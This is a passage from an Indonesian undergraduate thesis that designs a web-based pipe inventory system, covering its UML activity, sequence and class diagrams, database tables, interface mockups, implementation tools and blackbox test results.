Simpan. Sistem akan menyimpan data dalam database. Untuk menghapus data pipa

keluar, Admin_OS harus klik Hapus sehingga sistem akan menghapus data pipa keluar

dari database. Jika data pipa masuk berhasil ditambah, diedit, atau dihapus, sistem

akan kembali menampilkan update pipa keluar.

Page 155: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

129

Mulai

Selesai

Manager, Admin_OS Sistem

Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan

Klik Search

Menampilkan Laporan pipa masuk

Klik Print

Print Laporan

Gambar 4.13 Activity diagram untuk input reproduksi pipa

Gambar 4.13 menjelaskan tentang menambah, mengedit, atau menghapus data

reproduksi pipa. Untuk menambah reproduksi pipa, Admin_OS harus mengisi semua

form yang ditampilkan oleh sistem, lalu klik Simpan. Untuk mengedit data reproduksi

pipa, Admin_OS harus klik Edit sehingga sistem akan menampilkan form edit

reproduksi pipa kemudian Admin_OS mengedit data reproduksi pipa yang diperlukan,

lalu klik Simpan. Sistem akan menyimpan data dalam database. Untuk menghapus

data reproduksi pipa, Admin_OS harus klik Hapus sehingga sistem akan menghapus

data reproduksi pipa dari database. Jika data reproduksi pipa berhasil ditambah, diedit,

atau dihapus, sistem akan kembali menampilkan update reproduksi pipa.

Page 156: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Mulai

Selesai

Manager, Admin_OS Sistem

Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan

Klik Search

Menampilkan Laporan data pembeli

Klik Print

Print Laporan

Gambar 4.14 Activity diagram untuk laporan pipa masuk

Gambar 4.14 menjelaskan tentang menu laporan pipa masuk, dengan memilih

tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem akan

menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager dan

admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol print. Bila tidak

ada proses cetak laporan data pipa lagi maka proses selesai.

.

Gambar 4.15 Activity diagram untuk laporan data pembeli

Gambar 4.15 menjelaskan tentang menu laporan data pembeli, dengan memilih

tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem akan

menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager dan

Page 157: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

131

Mulai

Selesai

Manager, Admin_OS Sistem

Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan

Klik Search

Menampilkan Laporan data reproduksi pipa

Klik Print

Print Laporan

admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol print. Bila tidak

ada proses cetak laporan data pipa lagi maka proses selesai.

Gambar 4.16 Activity diagram untuk laporan data reproduksi pipa

Gambar 4.16 menjelaskan tentang menu laporan data reproduksi pipa, dengan

memilih tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem

akan menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager dan

admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol print. Bila tidak

ada proses cetak laporan data pipa lagi maka proses selesai.

Page 158: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Mulai

Selesai

Manager, Admin_OS Sistem

Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan

Klik Search

Menampilkan Laporan pipa keluar

Klik Print

Print Laporan

Gambar 4.17 Activity diagram untuk laporan pipa keluar

Gambar 4.17 menjelaskan tentang menu laporan data pipa keluar, dengan

memilih tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem

akan menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager dan

admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol print. Bila tidak

ada proses cetak laporan data pipa lagi maka proses selesai.

Page 159: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

133

Mulai

Selesai

Manager, Admin_OS Sistem

Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan

Klik Search

Menampilkan Laporan work order

Klik Print

Print Laporan

Gambar 4.18 Activity diagram untuk laporan work order

Gambar 4.18 menjelaskan tentang menu laporan data work order, dengan

memilih tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem

akan menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager dan

admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol print. Bila tidak

ada proses cetak laporan data pipa lagi maka proses selesai.

Page 160: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Mulai

Selesai

Manager, Marketing, Admin_OS Sistem

Pilih tanggal, bulan dan tahun berdasarkan periode yang diinginkan

Klik Search

Menampilkan Laporan stok pipa

Klik Print

Print Laporan

Mulai

Selesai

Tallyman, Admin_OS Sistem

Pilih cek barang

tampil ketersediaan pipa

Gambar 4.19 Activity diagram untuk laporan stok pipa

Gambar 4.19 menjelaskan tentang menu laporan data stok pipa, dengan memilih

tanggal periode yang ingin dilihat setelah itu klik tombol search maka sistem akan

menampilkan laporan periode sesuai tanggal yang dipilih. Kemudian manager,

marketing dan admin_OS dapat mencetak laporan tersebut dangan meng-klik tombol

print. Bila tidak ada proses cetak laporan data pipa lagi maka proses selesai.

Page 161: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

135

login

Input Username & Password

Menampilkan Halaman Utama User

All User

Menampilkan Pesan Kesalahan Cek Database Username&Password

Gambar 4.20 Diagram aktivitas dari use case menu logout

ambar 4.20 Gambar diatas menjelaskan tentang cek barang yang dimulai dengan

memilih menu cek barang yang berisi tentang informasi ketersediaan pipa, maka sistem

akan menampilkan ketersediaan pipa. Bila tidak ada proses lagi maka proses selesai.

4.4.4 Sequence Diagram

Sequence Diagram secara grafis menggambarkan bagaimana objek berinteraksi

dengan satu sama lain melalui pesan pada eksekusi sebuah use case atau operasi.

Diagram ini mengilustrasikan bagaimana pesan terkirim dan diterima diantara objek.

Page 162: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Work order

Marketing

Pembeli

input form work order

get pembeli

tampil update data work order

pembeli

simpan

Gambar 4.21 Sequence diagram login

Gambar 4.21 pada saat All user input username dan password terlebih dahulu.

Pada saat username dan password diisi, sistem akan mencocokkan kesesuaian data

didalam database pada objek user. Jika terdapat kesalahan maka, sistem akan

menampilkan pesan kesalahan untuk memasukkan username dan password kembali.

Dan jika data sesuai akan masuk ke halaman utama user pada sistem inventory

management ope store.

Gambar 4.22 Sequential diagram input work order

Gambar 4.22 menerangkan tentang hubungan yang terjadi antara aktor

marketing dengan object dalam proses input data work order. Aktor memasukkan data-

Page 163: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

137

Pembeli

Marketing

input form pembeli

simpan

tampil update data pembeli

Kota Provinsi

input kota

input provinsi

kota

provinsi

data work order. Kemudian sistem menyimpan data barang tersebut ke dalam database

work order.

Gambar 4.23 Sequential diagram input data pembeli

Gambar 4.23 menerangkan hubungan aktor Marketing dengan object yang

terjadi dalam proses input data pembeli. Aktor memasukkan data pembeli, kemudian

mengklik tombol simpan yang kemudian data pembeli tersebut tersimpan dalam

database pembeli.

Page 164: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Gambar 4.24 Sequential diagram input pipa masuk & keluar

Gambar 4.24 menerangkan hubungan aktor Admin_OS dengan object yang

terjadi dalam proses input data pipa masuk dan keluar. Aktor memasukkan data pipa,

kemudian mengklik tombol simpan yang kemudian data pipa tersebut tersimpan dalam

database barang.

Barang

Admin_OS

input form pipa

simpan

tampil update data pipa

Jenis

get jenis

jenis

cek kelengkapan data

Page 165: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

139

Reproduksi

Tallyman

input form reproduksi pipa

simpan

tampil update data reproduksi pipa

Barang

get pipa

Jenis

get jenis

jenis

pipa

Gambar 4.25 Sequential diagram input data reproduksi pipa

Gambar 4.25 menerangkan tentang hubungan yang terjadi antara aktor

admin_OS dengan object dalam proses input data Reproduksi pipa. Aktor memasukkan

data-data reproduksi pipa. Kemudian sistem menyimpan data reproduksi tersebut ke

dalam database reproduksi.

Page 166: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Barang

Manager

pilih periode yang diinginkan

search

tampil laporan pipa masuk

cek periode yang dimasukkan

Gambar 4.26 Sequential diagram laporan pipa masuk & keluar

Gambar 4.26 menerangkan tentang hubungan yang terjadi antara aktor manager

dengan object dalam proses laporan pipa masuk dan keluar. Aktor memilih periode

yang diinginkan, kemudian search, sistem akan memeriksa kelengkapan data periode

yang dimasukkan. Kemudian sistem menampilkan laporan pipa yang diinginkan

berdasarkan periode.

Page 167: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

141

Pembeli

Manager

pilih periode yang diinginkan

search

tampil laporan data pembeli

cek periode yang dimasukkan

Gambar 4.27 Sequential diagram laporan data pembeli

Gambar 4.27 menerangkan tentang hubungan yang terjadi antara aktor manager

dengan object dalam proses laporan data pembeli. Aktor memilih periode yang

diinginkan, kemudian klik search. Kemudian sistem menampilkan laporan pembeli

yang diinginkan berdasarkan periode.

Page 168: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Reproduksi

Manager

pilih periode yang diinginkan

search

tampil laporan reproduksi pipa

cek periode yang dimasukkan

Gambar 4.28 Sequential diagram laporan reproduksi pipa

Gambar 4.28 menerangkan tentang hubungan yang terjadi antara aktor manager

dengan object dalam proses laporan reproduksi. Aktor memilih periode yang

diinginkan, kemudian klik search. Kemudian sistem menampilkan laporan reproduksi

yang diinginkan berdasarkan periode.

Page 169: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

143

Work order

Manager

pilih periode yang diinginkan

search

tampil laporan work order

cek periode yang dimasukkan

Gambar 4.29 Sequential diagram laporan work order

Gambar 4.29 menerangkan tentang hubungan yang terjadi antara aktor manager

dengan object dalam proses laporan work order. Aktor memilih periode yang

diinginkan, kemudian klik search. Kemudian sistem menampilkan laporan work order

yang diinginkan berdasarkan periode.

Page 170: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Stok

Manager

pilih periode yang diinginkan

search

tampil laporan stok pipa

cek periode yang dimasukkan

Gambar 4.30 Sequential diagram laporan stok pipa

Gambar 4.30 menerangkan tentang hubungan yang terjadi antara aktor manager

dengan object dalam proses laporan stok pipa. Aktor memilih periode yang diinginkan,

kemudian klik search. Kemudian sistem menampilkan laporan stok pipa yang

diinginkan berdasarkan periode.

Page 171: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

145

Barang

Manager

klik cek barang

tampil cek barang

Gambar 4.31 Sequential diagram cek barang

Gambar 4.31 menerangkan tentang hubungan yang terjadi antara aktor tallyman

dengan object dalam proses cek barang. Aktor memilih menu cek barang sistem

langsung menampilkan data cek barang.

4.4.5 Class Diagram

Diagram ini adalah deskripsi kelompok objek-objek dengan prototype,perilaku

dan relasi yang sama. Class diagram yang digunakan seperti pada Gambar 4.32.

Page 172: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Gambar 4.32 Class Diagram

4.4.6 Tabel Database

1. Tabel pipa

File Name : Barang

Type of File : Master file

+add()

+delete()

+edit()

-kd_jenis (Pk)

-nm_jenis

::jenis

+add()

+delete()

+edit()

+save()

-kd_brg (Pk)

-nm_brg

-kd_jenis (Fk)

-ukuran

-id_user (Fk)

::Barang

+add()

+delete()

+edit()

+save()

-id_user(Pk)

-nm_user

-password

-id_level (Fk)

-id_pegawai (Fk)

::User

+add()

+delete()

+edit()

-id_level (Pk)

-nm_level

::Level

+add()

+delete()

+edit()

-id_jabatan (Pk)

-nm_jabatan

::jabatan

+add()

+delete()

+edit()

-id_pegawai (Pk)

-nm_pegawai

-id_jabatan (Fk)

::Pegawai

+view()

+edit()

-id_stok (Pk)

-jumlah_ready

-kd_brg (Fk)

-safety_stock

-id_user (Fk)

::Stok

+add()

+edit()

+delete()

-kd_reproduksi (Pk)

-jumlah_riject

-kd_brg (Fk)

-id_user (Fk)

::Reproduksi

+add()

+delete()

+edit()

-id_work (Pk)

-kd_pembeli (Fk)

-jumlah

-kd_brg (Fk)

-id_user (Fk)

::Work Order

+add()

+delete()

+edit()

-kd_pembeli (Pk)

-nm_pembeli

-alamat

-tlpn

-email

-id_kota (Fk)

-id_user (Fk)

::Pembeli

+view()

+add()

+delete()

-id_kota (Pk)

-nm_kota

-id_prov (Fk)

::kota

+add()

+delete()

+edit()

-id_prov (Pk)

-nm_prov

::Provinsi

1

1..*

1

1..* 1..*

1

1..*

1 1..*

1 1

1

1

1

11

::login

1

1

1

1..*

1

1..*

11..*

1

1..*

1 1..*

Page 173: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

147

Primary Key : kd_brg

Foreign Key : kd_jenis, id_user

Tabel 4.19 Database Barang

No Field Type Size Null Keterangan

1 Kd_brg Int 4 No Kode pipa

2 Nm_brg Varchar 10 No Nama pipa

3 Ukuran Varchar 10 No Ukuran pipa

4 Kd_jenis Int 2 No Kode Jenis

5 Id_user varchar 4 No Identitas user

2. Tabel Pembeli

File Name : Pembeli

Type of File : Master file

Primary Key : kd_pembeli

Foreign Key : id_kota, id_user

Tabel 4.20 Database Pembeli

No Field Type Size Null Keterangan

1 kd_pembeli Varchar 4 No Kode pembeli

2 nm_pembeli Varchar 50 No Nama pembeli

3 Alamat Varchar 100 No Alamat pembeli

4 Telpon Varchar 10 No Telepon

5 Email varchar 20 No Email

6 Id_kota Varchar 4 No Identitas Kota

7 Id_user varchar 4 No Identitas user

Page 174: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

3. Tabel Reproduksi

File Name : Reproduksi

Type of File : Transaction file

Primary Key : kd_rp

Foreign Key : kd_brg, id_user

Tabel 4.21 Database reproduksi

No Field Type Size Null Keterangan

1 Kd_rp Varchar 4 No Kode reproduksi

2 Ukuran Varchar 10 No Ukuran pipa

3 Jumlah riject Int 10 No Jumlah reject

4 Kd_brg Varchar 4 No Kode_pipa

5 Id_user varchar 4 No Identitas user

4. Tabel Stok

File Name : Stok

Type of File : Transaction file

Primary Key : id_stok

Foreign Key : kd_brg, id_user

Tabel 4.22 Database Stok

No Field Type Size Null Keterangan

1 Id_stok Varchar 4 No Identitas Stok

2 Jumlah_ready Int 3 No Jumlah Stok

3 Kd_brg Varchar 4 No Kode Pipa

Page 175: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

149

4 Id_user varchar 4 No Identitas user

5. Tabel Work Order

File Name : work order

Type of File : Transaction file

Primary Key : id_work

Foreign Key : kd_pembeli, kd_brg, id_user

Tabel 4.23 Database work order

No Field Type Size Null Keterangan

1 Id_work Varchar 4 No Identitas work order

2 Jumlah Int 3 No Jumlah work order

3 Kd_pembeli Varchar 4 No Kode Pembeli

4 Kd_brg Varchar 4 No Kode pipa

5 Id_user varchar 4 No Identitas user

6. Tabel User

File Name : User

Type of File : Master file

Primary Key : id_user

Foreign Key : id_pegawai, id level

Page 176: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Tabel 4.24 Database user

No Field Type Size Null Keterangan

1 Id_user Varchar 4 No Identitas user

2 Nm_user Varchar 20 No Nama User

3 Password Varchar 10 No Password

4 Id_level Varchar 3 No Identitas Level

5 Id_pegawai Varchar 3 No Identitas pegawai

7. Tabel Level

File Name : Level

Type of File : Master file

Primary Key : id_level

Foreign Key : -

Tabel 4.25 Database Level

No Field Type Size Null Keterangan

1 Id_level Varchar 3 No Identitas level

2 Nm_user Varchar 10 No Nama level

8. Tabel Jabatan

File Name : Jabatan

Type of File : Master file

Primary Key : id_jbtn

Foreign Key : -

Page 177: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

151

Tabel 4.26 Database Jabatan

No Field Type Size Null Keterangan

1 Id_jbtn Varchar 2 No Identitas jabatan

2 Nm_jbtn Varchar 30 No Nama jabatan

9. Tabel Jenis

File Name : Jenis

Type of File : Master file

Primary Key : kd_jenis

Foreign Key : -

Tabel 4.27 Database Jenis

No Field Type Size Null Keterangan

1 kd_jenis Varchar 3 No Kode jenis

2 Nm_jenis Varchar 10 No Nama jenis

10. Tabel Kota

File Name : Kota

Type of File : Master file

Primary Key : id_kota

Foreign Key : id_prov

Page 178: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Tabel 4.28 Database Kota

No Field Type Size Null Keterangan

1 Id_kota Int 4 No Identitas kota

2 Nm_kota Varchar 30 No Nama kota

3 Id_prov Varchar 4 No Identitas provinsi

11. Tabel Provinsi

File Name : Provinsi

Type of File : Master file

Primary Key : id_prov

Foreign Key : -

Tabel 4.29 Database Provinsi

No Field Type Size Null Keterangan

1 Id_Prov Varchar 4 No Identitas provinsi

2 Nm_prov Varchar 30 No Nama provinsi

12. Tabel Pegawai

File Name : Pegawai

Type of File : Master file

Primary Key : id_pegawai

Foreign Key : id_jbtn

Page 179: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

153

Logo BANNER

Login

LOGIN

Username

Password

Tabel 4.30 Database Pegawai

No Field Type Size Null Keterangan

1 Id_pegawai Varchar 3 No Identitas pegawai

2 Nm_pegawai Varchar 20 No Nama pegawai

3 Id_jbtn Varchar 3 No Identitas jabatan

4.4.7 Interface Design

1. Menu Login

Gambar 4.33 Design interface menu login

Keterangan Gambar 4.33 : Menu Login merupakan langkah awal bagi

user untuk dapat masuk ke dalam sistem dengan mengisi username dan password

Page 180: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

terlebih dahulu. Jika username dan password benar maka akan tampil halaman

Home, jika salah maka akan kembali mengisi username dan password pada

halaman login.

2. Menu Home

Gambar 4.34 Design interface menu home

Keterangan Gambar 4.34 : setelah user berhasil melakukan login maka

langsung masuk ke dalam halaman home. Menu home merupakan halaman

utama pada aplikasi.

Logo

Home Logout

BANNER

Menu

Menu

Menu

Menu

Tanggal/ waktu

Page 181: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

155

3. Menu Administrator

Gambar 4.35 Design interface menu manage user

Keterangan Gambar 4.35 : menu administrator digunakan oleh user

admin_OS untuk menambah dan menghapus user.

4. Menu Data Pipa Masuk

Gambar 4.36 Design interface menu data pipa masuk

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Manager User

Menu

Menu

Nama User

Nama Lengkap

Password

Hak Akses

No Nama User Nama lengkap Hak user action

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Data Pipa Masuk

Menusimpan

Nama barang

Jumlah

Tanggal

reset

Unit/ batang

No Kode barang Nama barang jumlah actionMenu

Menu

Tanggal

Page 182: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Data Pipa

Menu

Kode Produk

Nama Produk

Ukuran

Menu

Menu

simpan Reset

Jenis

Keterangan Gambar 4.36 : menu data pipa masuk ini adalah bagian dari menu

input, yang digunakan oleh user admin_OS untuk menambah jumlah pipa

masuk.

5. Menu Data Pipa

Keterangan Gambar 4.39: menu data pipa ini digunakan oleh admin_OS

untuk menambah nama barang pada perusahaan, menu ini digunakan jika

perusahaan melakukan penambahan jenis pipa atau barang baru yang diproduksi.

Gambar 4.37 Design interface menu data pipa

Page 183: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

157

6. Menu Data Pipa Keluar

Gambar 4.38 Design interface menu data pipa keluar

Keterangan Gambar 4.38 : menu data pipa keluar ini adalah bagian dari

menu input, yang digunakan oleh user admin_OS untuk menambah jumlah pipa

keluar.

7. Menu Data Pembeli

Gambar 4.39 Design interface menu data pembeli

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Data Pipa Keluar

Menusimpan

Nama barang

Jumlah

Tanggal

reset

Unit/ batang

No Kode barang Nama barang jumlah actionMenu

Menu

Tanggal

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Data Pembeli

Menusimpan

Kode Pembeli

Nama Pembeli

Alamat

reset

Unit/ batang

No Nama Alamat telepon actionMenu

Menu

Email

Telepon

Email

kode

Page 184: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Keterangan Gambar 4.39 : menu data pembeli ini adalah bagian dari menu input,

yang digunakan oleh user admin_OS untuk menambah data Pembeli.

8. Menu Data Reproduksi Pipa

Gambar 4.40 Design interface menu reproduksi pipa

Keterangan Gambar 4.40 : menu data reporduksi pipa ini adalah bagian

dari menu input, yang digunakan oleh user admin_OS untuk menambah data

reproduksi pipa.

9. Menu Work Order

Gambar 4.41 Design interface menu input data work order

Keterangan Gambar 4.41 : menu data input work order ini digunakan

oleh user admin_OS untuk menambah data work order.

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Reproduksi Pipa

Menusimpan

Nama barang

Jumlah

Tanggal

reset

Unit/ batang

No Tanggal Kode Reproduksi Nama Barang actionMenu

Menu

Jumlah

Kode Reproduksi

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Work Order

Menusimpan

Nama barang

Jumlah

Tanggal

reset

No Tanggal Nama PembeliNama Barang actionMenu

Menu

Jumlah

Kode Work Order

Pembeli

Tanggal Kirim tanggal bulan tahun

Kode Alamat

Page 185: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

159

10. Menu Laporan Pipa Masuk

Keterangan Gambar 4.42 : menu laporan pipa masuk ini adalah sub menu

dari Laporan, yang digunakan oleh user admin_OS dan manager untuk melihat

data pipa masuk yang ada dalam sistem.

Gambar 4.42 Design interface menu laporan data pipa masuk

11. Menu Laporan Pipa Keluar

Keterangan Gambar 4.43 : menu laporan pipa keluar ini adalah sub menu

dari Laporan, yang digunakan oleh user admin_OS dan manager untuk melihat

data pipa keluar yang ada dalam sistem.

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Work Order

Laporan

search

No Tanggal Nama Barang actionLaporan Pipa masuk

Menu

Jumlah

sampaitanggal bulan tahun

Kode

tanggal bulan tahun

Page 186: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Gambar 4.43 Design interface menu laporan data pipa keluar

12. Menu Laporan Data Pembeli

Gambar 4.44 Design interface menu laporan data pembeli

Keterangan Gambar 4.44 : menu laporan data pembeli ini adalah sub menu dari

Laporan, yang digunakan oleh user manager untuk melihat data pembeli yang ada

dalam sistem.

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Work Order

Laporan

search

No Tanggal Nama Barang actionLaporan Pipa Keluar

Menu

Jumlah

sampaitanggal bulan tahun

Kode

tanggal bulan tahun

Pembeli

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Work Order

Laporan

search

No Email Nama actionLaporan Data Pembeli

Menu

telepon

sampaitanggal bulan tahun

Kode

tanggal bulan tahun

Alamat Tanggal

Page 187: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

161

13. Menu Laporan Data Stok Pipa

Gambar 4.45 Design interface menu laporan stok pipa

Keterangan Gambar 4.45 : menu laporan data stok pipa ini adalah sub

menu dari Laporan, yang digunakan oleh user admin_OS dan manager untuk

melihat data pipa yang ada dalam sistem.

14. Menu Laporan Work Order

Gambar 4.46 Design interface menu laporan work order

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Work Order

Laporan

Laporan Stok Pipa

Menu

No JumlahNama barang

Print

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Work Order

Laporan

search

No Tanggal Nama Barang actionLaporan Pipa Keluar

Menu

Jumlah

sampaitanggal bulan tahun

Kode

tanggal bulan tahun

Pembeli

Page 188: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Keterangan Gambar 4.46 : menu laporan Work Order ini adalah sub menu

dari Laporan, yang digunakan oleh user admin_OS dan manager untuk melihat

data work order yang ada dalam sistem.

15. Menu Cek Barang

Keterangan Gambar 4.47 : menu cek barang ini adalah menu yang

digunakan user tallyman untuk melihat laporan Ready stock pipa yang ada

dalam sistem.

Gambar 4.47 Design interface menu cek barang

4.5 Implementation System

Setelah tahap perancangan selesai, maka tahap berikutnya adalah

mengimplementasikan hasil rancangan tersebut. Dalam mengimplementasikan sistem

Logo

Logout

BANNER

Tanggal/ waktuHome

Administrator

Input

Work Order

Laporan

Cek Barang

No StokNama barang

Page 189: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

163

dengan menggunakan XAMPP versi 1.6.2 yang mencakup : Apache versi2.2.4 untuk

web server, PHP versi 5.2.2. Selain itu, juga menggunakan Macromedia Dreamweaver 8

sebagai software editor, MySQL 2005 versi 7.1.9 sebagai database management-nya

dan Adobe Photoshop CS3 untuk mengolah gambar, serta Visio 2007 untuk tools UML.

Selain itu juga sarana pendukung yang diperlukan agar sistem dapat berjalan sesuai

yang diharapkan.

4.6 Pengujian System

Sebelum sistem informasi dapat digunakan, maka harus dilakukan pengujian

terlebih dahulu. Beberapa pengujian dilakukan oleh programmer sendiri. Pengujian ini

dilakukan dengan menggunakan metode Blackbox testing.

4.6.1 Uji coba user admin_OS

Melakukan uji coba sebagai user adm_OS. Hasil yang didapat sebagai berikut

Tabel 4.31 Uji coba user admin_OS

No. Rancangan Proses Hasil yang diharapkan Hasil

1 Isi user name dan

password

Masuk halaman utama

(home) yang diawali

dengan tulisan Selamat

Datang

OK

2 Klik tombol menu input

data pipa masuk

Masuk halaman form input

data pipa masuk

OK

3 Isi data pipa masuk Pengisian sejumlah data

pipa

OK

4 Klik tombol simpan Data tersimpan ke dalam

database pipa masuk

OK

Page 190: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

